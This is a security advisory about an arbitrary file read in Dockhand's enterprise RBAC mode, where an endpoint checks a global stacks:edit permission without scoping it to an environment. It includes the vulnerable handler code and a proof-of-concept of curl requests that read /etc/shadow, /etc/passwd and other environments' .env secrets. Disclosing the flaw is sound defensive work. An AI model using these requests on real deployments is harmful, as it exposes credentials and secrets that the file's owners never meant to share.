All vulnerabilities
GHSA-433w-5hff-22h6

dockhand: Arbitrary File Read via Unscoped Path in /api/system/files/content

dockhand
CVSS
6.5Medium
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed inNone listedNo source names a fixed version yet
Published15 Oct 2026Updated 15 Oct 2026GitHub

What fixes it

No source in this snapshot names a fixed version.

Description

Summary

An arbitrary file read vulnerability in Dockhand's enterprise RBAC mode allows a non-admin user who holds the low-privilege stacks:edit permission to read any file on the Dockhand container's filesystem — including /etc/shadow, /etc/passwd, and the Compose/.env secrets of stacks and environments the user has no access to, plus cloned git credentials. The endpoint performs a global permission check only (stacks:edit) with no environment scoping, so a user granted that role to manage one stack can exfiltrate data belonging to other environments/containers. Severity: Medium (CVSS 6.5) in enterprise RBAC; not a vulnerability in the free edition (where every authenticated user is admin).

Details

There are two file-access endpoints with different authorization behaviors:

**Endpoint A — GET /api/containers/{id}/files/files — reads any chosen container, but is environment-scoped.** src/routes/api/containers/[id]/files/content/+server.ts reads a file from a specific container chosen by the caller:

export const GET: RequestHandler = async ({ params, url, cookies }) => {
	const invalid = validateDockerIdParam(params.id, 'container');  // container id/name
	if (invalid) return invalid;
	const auth = await authorize(cookies);
	const path = url.searchParams.get('path');
	const envId = url.searchParams.get('env');
	const envIdNum = envId ? parseInt(envId) : undefined;

	// Permission check WITH environment context (envId is passed)
	if (auth.authEnabled && !await auth.can('containers', 'view', envIdNum)) {
		return json({ error: 'Permission denied' }, { status: 403 });
	}
	const content = await readContainerFile(params.id, path, envIdNum);  // Docker API read
	return json({ content, path });
};

This endpoint **passes envId** to auth.can('containers','view', envIdNum), so it respects per-environment RBAC via getUserPermissionsForEnvironment. A user who cannot access environment 2 cannot read containers in environment 2 through this route.

Endpoint B GET /api/system/files/files — reads the Dockhand container filesystem, NOT environment-scoped.

src/routes/api/system/files/content/+server.ts:

export const GET: RequestHandler = async ({ url, cookies }) => {
	const auth = await authorize(cookies);

	// The ONLY gate: the caller must hold the GLOBAL `stacks:edit` permission.
	// NO environmentId is passed, so there is NO per-environment authorization.
	if (auth.authEnabled && !await auth.can('stacks', 'edit')) {
		return json({ error: 'Permission denied' }, { status: 403 });
	}
	const path = url.searchParams.get('path');
	if (!path) return json({ error: 'Path is required' }, { status: 400 });
	if (isProtectedPath(path)) return json({ error: 'Access denied' }, { status: 403 });
	const content = readFileSync(path, 'utf-8');   // reads ANY absolute path
	return json({ path, content, size: stat.size, mtime: stat.mtime.toISOString() });
};

This endpoint calls auth.can('stacks', 'edit') with **no environmentId**. Because checkPermission (src/lib/server/auth.ts:390) only scopes by environment when an environmentId is passed, this check falls back to the user's global permissions (user.permissions, auth.ts:409).

**Why a non-admin can hold global stacks:edit.** In enterprise RBAC, an admin creates custom roles with arbitrary permissions and scoping (src/routes/api/roles/+server.ts:71-76), and createRole stores environmentIds: null for a global role (src/lib/server/db.ts:1620-1627). getUserPermissionsById (src/lib/server/auth.ts:332) then merges the permissions of ALL the user's roles into a single global user.permissions — without filtering by environment. So a user whose role grants stacks:edit only for environment 1 still has stacks:edit in their global user.permissions.

The scope violation. Dockhand's UI hides environments the user cannot access (using getUserAccessibleEnvironments), so the user does not see other environments/containers. But Endpoint B never consults that function — it only checks the global user.permissions.stacks and reads an arbitrary absolute path. As a result a non-admin with stacks:edit (even scoped to one environment) can read:

  • /etc/shadow, /etc/passwd on the Dockhand container;
  • other environments' stack compose.yaml and .env files (/app/data/stacks/<other-stack>/...) — DB passwords, API keys, secrets;
  • cloned git repositories (/app/data/git-repos/...) — credentials/tokens.

The only paths blocked are $DATA_DIR/db, $DATA_DIR/.encryption_key, and everything under /proc (src/lib/server/fs-guard.ts); everything else on the Dockhand filesystem is readable. safeResolve also defeats ../symlink tricks into protected locations, so the bypass is via the over-broad authorization scope, not path traversal.

The fix is to scope Endpoint B's reads to the stack directory the user is authorized for, and require stacks:edit plus environment access to that stack.

PoC

Verified against the running instance (http://localhost:3000, authenticated as admin, admin session cookie in cookies.txt). The same endpoints in enterprise RBAC are reachable by any non-admin user holding the relevant global permission.

Endpoint A — read a file from ANY container you choose (container-scoped read):

# Choose the container by ID (or name), the file by path, the environment by env.
# Here: read /etc/passwd from the "sysreptor-app" container (a different container).
curl -s -b cookies.txt \
  'http://localhost:3000/api/containers/<CONTAINER_ID>/files/content?path=/etc/passwd&env=1'
# → {"content":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:...","path":"/etc/passwd"}

# Same via container NAME
curl -s -b cookies.txt \
  'http://localhost:3000/api/containers/dockhand/files/content?path=/etc/hostname&env=1'
# → {"content":"6767c62a680f\n","path":"/etc/hostname"}

(Live-verified: I read /etc/passwd from both the dockhand and sysreptor-app containers via this endpoint.)

Endpoint B — read any file on the Dockhand filesystem (NOT environment-scoped):

# Read /etc/shadow — only stacks:edit required, no container/environment access needed
curl -s -b cookies.txt \
  'http://localhost:3000/api/system/files/content?path=/etc/shadow'
# → {"path":"/etc/shadow","content":"root:*::0:::::\nbin:!::0:::::\n...","size":...,"mtime":"..."}

# Read ANOTHER environment's stack secrets (authorization-scope violation)
curl -s -b cookies.txt \
  'http://localhost:3000/api/system/files/content?path=/app/data/stacks/other-env-stack/.env'
# → returns the .env contents (DB password, API keys) — the caller has no access to that environment

Protected paths are correctly denied (no traversal bypass found):

curl -s -b cookies.txt 'http://localhost:3000/api/system/files/content?path=/app/data/.encryption_key'   # → Access denied
curl -s -b cookies.txt 'http://localhost:3000/api/system/files/content?path=/app/data/db/dockhand.db'    # → Access denied
curl -s -b cookies.txt 'http://localhost:3000/api/system/files/content?path=/proc/self/environ'          # → Access denied

Impact

  • Vulnerability type: Improper Access Control / authorization-scope violation leading to arbitrary file read (over-broad permission, no environment scoping).
  • Attack surface: remote; requires an authenticated account with the **global stacks:edit permission. In enterprise RBAC this is a non-admin role; the user does not** need access to the target environment/container (the UI hides those environments, but the endpoint reads them anyway).
  • Severity: Medium (CVSS 6.5) in enterprise RBAC. Not applicable in the free edition (every authenticated user is admin and already has full Docker access via the mounted socket).
  • Who is impacted: enterprise RBAC deployments where a non-admin role is granted stacks:edit (even scoped to a single environment). Those users can read arbitrary files on the Dockhand container — /etc/shadow, other environments' stack/.env secrets (DB credentials, API keys), and cloned git credentials — bypassing the intended per-environment authorization boundary.

Text from GitHub Advisory Database

Affected versions 1

  • dockhand<= v1.0.45GitHub